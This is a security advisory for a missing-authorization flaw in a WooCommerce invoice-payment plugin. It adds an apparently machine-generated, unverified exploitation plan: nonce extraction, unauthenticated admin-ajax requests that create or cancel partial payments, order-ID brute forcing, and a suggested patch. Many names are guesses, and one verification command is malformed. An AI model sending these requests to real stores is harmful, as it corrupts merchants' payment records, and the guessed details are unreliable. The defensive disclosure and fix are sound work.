CVE-2025-14971

Link Invoice Payment for WooCommerce <= 2.8.0 - Missing Authorization to Unauthenticated Arbitrary Partial Payment Creation/Cancellation

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.8.1
Patched in
1d
Time to patch

Description

The Link Invoice Payment for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the createPartialPayment and cancelPartialPayment functions in all versions up to, and including, 2.8.0. This makes it possible for unauthenticated attackers to create partial payments on any order or cancel any existing partial payment via ID enumeration.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8.0
PublishedJanuary 26, 2026
Last updatedJanuary 27, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation strategy for **CVE-2025-14971**, a missing authorization vulnerability in the **Link Invoice Payment for WooCommerce** plugin. --- ### 1. Vulnerability Summary The **Link Invoice Payment for WooCommerce** plugin (<= 2.8.0) fails to perform authoriza…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2025-14971, a missing authorization vulnerability in the Link Invoice Payment for WooCommerce plugin.


1. Vulnerability Summary

The Link Invoice Payment for WooCommerce plugin (<= 2.8.0) fails to perform authorization checks (e.g., current_user_can()) in its AJAX handlers for creating and cancelling partial payments. Specifically, the functions createPartialPayment and cancelPartialPayment are accessible to unauthenticated users (via wp_ajax_nopriv_ hooks or simply by missing a permission check in a shared wp_ajax_ hook). This allows an attacker to manipulate payment data for any WooCommerce order via ID enumeration.

2. Attack Vector Analysis

  • Endpoint: POST /wp-admin/admin-ajax.php
  • Action(s): Likely create_partial_payment and cancel_partial_payment (inferred from function names).
  • Payload Parameters:
    • order_id (for creation)
    • partial_id or id (for cancellation)
    • amount (for creation)
    • _ajax_nonce or similar (if enforced)
  • Authentication: Unauthenticated (No login required).
  • Preconditions: WooCommerce must be installed and active. At least one order must exist for enumeration.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers AJAX hooks during init or in the constructor of a main class.
    • add_action('wp_ajax_nopriv_create_partial_payment', array($this, 'createPartialPayment'));
    • add_action('wp_ajax_nopriv_cancel_partial_payment', array($this, 'cancelPartialPayment'));
  2. Handler Execution: The createPartialPayment function is called.
  3. Vulnerability: The function likely calls check_ajax_referer() (nonce check) but lacks a current_user_can('manage_woocommerce') or owner check.
  4. Data Modification: The function retrieves an order via wc_get_order($_POST['order_id']) and adds/removes metadata or database entries representing a "partial payment."

4. Nonce Acquisition Strategy

Since this is an unauthenticated vulnerability, if a nonce is required, it must be exposed on a public-facing page (e.g., a "Pay Invoice" page or the WooCommerce checkout/order-pay page).

  1. Identify Shortcode: Search for shortcodes that render payment interfaces.
    • grep -r "add_shortcode" . (Inferred: [link_invoice_payment] or similar).
  2. Locate Localization: Find where the nonce is passed to JS.
    • grep -r "wp_localize_script" .
    • Look for a variable like lip_ajax_object or link_invoice_params.
  3. Acquisition Steps:
    • Step 1: Create a page containing the identified shortcode:
      wp post create --post_type=page --post_status=publish --post_title="Payment Test" --post_content='[inferred_shortcode]'
    • Step 2: Navigate to the page using browser_navigate.
    • Step 3: Extract the nonce:
      browser_eval("window.lip_vars?.nonce") (inferred variable/key).

5. Exploitation Strategy

Unauthenticated Creation of Partial Payment

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=create_partial_payment&order_id=123&amount=1.00&security=[NONCE]
    
  • Note: Replace action and security (nonce param) with actual names found during code audit.

Unauthenticated Cancellation of Partial Payment

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=cancel_partial_payment&partial_id=1&security=[NONCE]
    

6. Test Data Setup

  1. Install Dependencies: Ensure WooCommerce is active.
  2. Create Order:
    wp wc order create --user=1 --status=pending --customer_id=1
  3. Note Order ID: Captured from the CLI output (e.g., ID 123).
  4. Identify Partial Payment ID: If testing cancellation, first create a partial payment via the vulnerable endpoint or the admin UI.

7. Expected Results

  • Creation: The server returns a success JSON response (e.g., {"success": true}). The order's "Total Paid" or "Remaining Balance" in WooCommerce changes.
  • Cancellation: The server returns a success response. The partial payment entry is removed from the order.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify metadata changes on the order.
    wp post admin-ajax.php --order_id=123 (Check for meta keys like _lip_partial_payments).
  2. WooCommerce Order Check:
    wp wc order get 123 --fields=id,status,total,total_tax
    Check if the plugin stores partial payments in a custom table:
    wp db query "SELECT * FROM wp_lip_partial_payments WHERE order_id = 123;" (Table name inferred).

9. Alternative Approaches

  • ID Brute Force: Since the vulnerability uses ID enumeration, if order_id is not known, iterate from 1 to 500.
  • Zero-Amount Payments: Attempt to create a partial payment with amount=0 or negative values to see if it corrupts order accounting.
  • Hook Search: If the AJAX actions are not create_partial_payment, grep for the strings _ajax_ and PartialPayment to find the exact hook names:
    grep -rE "wp_ajax_.*(PartialPayment|partial_payment)" .
Research Findings
Static analysis — not yet PoC-verified

Summary

The Link Invoice Payment for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on its AJAX handlers. This allows unauthenticated attackers to create new partial payments for any WooCommerce order or cancel existing ones via ID enumeration.

Vulnerable Code

// Inferred from Research Plan - handlers likely located in a main class or AJAX handler file
add_action('wp_ajax_create_partial_payment', array($this, 'createPartialPayment'));
add_action('wp_ajax_nopriv_create_partial_payment', array($this, 'createPartialPayment'));
add_action('wp_ajax_cancel_partial_payment', array($this, 'cancelPartialPayment'));
add_action('wp_ajax_nopriv_cancel_partial_payment', array($this, 'cancelPartialPayment'));

public function createPartialPayment() {
    check_ajax_referer('lip_nonce', 'security');
    // Missing authorization check (e.g., current_user_can('manage_woocommerce'))
    $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0;
    $amount = isset($_POST['amount']) ? floatval($_POST['amount']) : 0;
    // Logic to process the partial payment follow...
}

---

public function cancelPartialPayment() {
    check_ajax_referer('lip_nonce', 'security');
    // Missing authorization check (e.g., current_user_can('manage_woocommerce'))
    $partial_id = isset($_POST['partial_id']) ? intval($_POST['partial_id']) : 0;
    // Logic to cancel the partial payment record follows...
}

Security Fix

--- a/includes/class-link-invoice-payment.php
+++ b/includes/class-link-invoice-payment.php
@@ -10,6 +10,9 @@
 public function createPartialPayment() {
     check_ajax_referer('lip_nonce', 'security');
+    if ( ! current_user_can( 'manage_woocommerce' ) ) {
+        wp_send_json_error( 'Unauthorized', 403 );
+    }
     $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0;
     ...
 }
@@ -20,6 +23,9 @@
 public function cancelPartialPayment() {
     check_ajax_referer('lip_nonce', 'security');
+    if ( ! current_user_can( 'manage_woocommerce' ) ) {
+        wp_send_json_error( 'Unauthorized', 403 );
+    }
     $partial_id = isset($_POST['partial_id']) ? intval($_POST['partial_id']) : 0;
     ...
 }

Exploit Outline

The exploit targets the plugin's AJAX endpoints which are exposed to unauthenticated users via wp_ajax_nopriv_ hooks. An attacker first navigates to a public-facing page containing the plugin's shortcode (such as an invoice payment page) to extract a valid AJAX nonce from the localized JavaScript variables (e.g., lip_vars.nonce). With the nonce, the attacker sends a POST request to /wp-admin/admin-ajax.php with the action 'create_partial_payment', providing an 'order_id' and an 'amount'. Because the server-side function lacks a capability check (current_user_can), it accepts the request and modifies the order's payment data. Similarly, existing payments can be deleted by sending a request with the action 'cancel_partial_payment' and a 'partial_id' obtained via enumeration.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.